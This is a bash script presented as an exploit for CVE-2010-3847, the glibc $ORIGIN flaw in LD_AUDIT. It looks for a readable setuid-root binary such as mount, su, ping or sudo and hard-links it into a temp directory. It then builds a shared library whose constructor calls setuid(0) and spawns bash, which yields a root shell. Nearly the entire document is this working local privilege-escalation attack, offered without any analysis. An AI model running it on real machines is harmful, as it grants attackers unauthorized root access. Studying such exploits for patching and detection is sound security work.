cve-2010-3847.sh

#!/bin/bash

# CVE-2010-3847 Exploit
# Copyright 2015-2016 Rivoreo
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

is_readable_setuid_binary() {
	owner_mode="`stat -c %u,%A \"$1\" 2> /dev/null`"
	[ "${owner_mode:0:4}" = "0,-r" -a "${owner_mode:5:2}" = sr -a "${owner_mode:8:2}" = xr -a "${owner_mode:11:1}" = x ]
}

if [ -n "$1" ] && is_readable_setuid_binary "$1"; then
	SETUID_BINARY="$1"
elif is_readable_setuid_binary /bin/mount; then
	SETUID_BINARY=/bin/mount
elif is_readable_setuid_binary /bin/umount; then
	SETUID_BINARY=/bin/umount
elif is_readable_setuid_binary /bin/su; then
	SETUID_BINARY=/bin/su
elif is_readable_setuid_binary /bin/ping; then
	SETUID_BINARY=/bin/ping
elif is_readable_setuid_binary /bin/ping6; then
	SETUID_BINARY=/bin/ping6
elif is_readable_setuid_binary /usr/bin/ping; then
	SETUID_BINARY=/usr/bin/ping
elif is_readable_setuid_binary /usr/bin/ping6; then
	SETUID_BINARY=/usr/bin/ping6
elif is_readable_setuid_binary /usr/bin/chsh; then
	SETUID_BINARY=/usr/bin/chsh
elif is_readable_setuid_binary /usr/bin/inetutils-ping; then
	SETUID_BINARY=/usr/bin/inetutils-ping
elif is_readable_setuid_binary /usr/bin/inetutils-ping6; then
	SETUID_BINARY=/usr/bin/inetutils-ping6
elif is_readable_setuid_binary /usr/bin/passwd; then
	SETUID_BINARY=/usr/bin/passwd
elif is_readable_setuid_binary /usr/bin/pkexec; then
	SETUID_BINARY=/usr/bin/pkexec
elif is_readable_setuid_binary /usr/bin/sudo; then
	SETUID_BINARY=/usr/bin/sudo
elif is_readable_setuid_binary /usr/bin/X; then
	SETUID_BINARY=/usr/bin/X
elif is_readable_setuid_binary /usr/bin/Xorg; then
	SETUID_BINARY=/usr/bin/Xorg
else
	echo "Cannot find a readable setuid binary" 1>&2
	exit 1
fi
echo "Using binary $SETUID_BINARY" 1>&2

set -e

temp_dir=`mktemp -d`
ln "$SETUID_BINARY" $temp_dir/3
exec 3< $temp_dir/3
rm -rf $temp_dir
gcc --shared -fPIC -xc - -o $temp_dir << EOF
#include <unistd.h>
void __attribute__((constructor)) init() {
	setuid(0);
	execl("/bin/bash", "bash", NULL);
}
EOF
LD_AUDIT=\$ORIGIN exec /proc/self/fd/3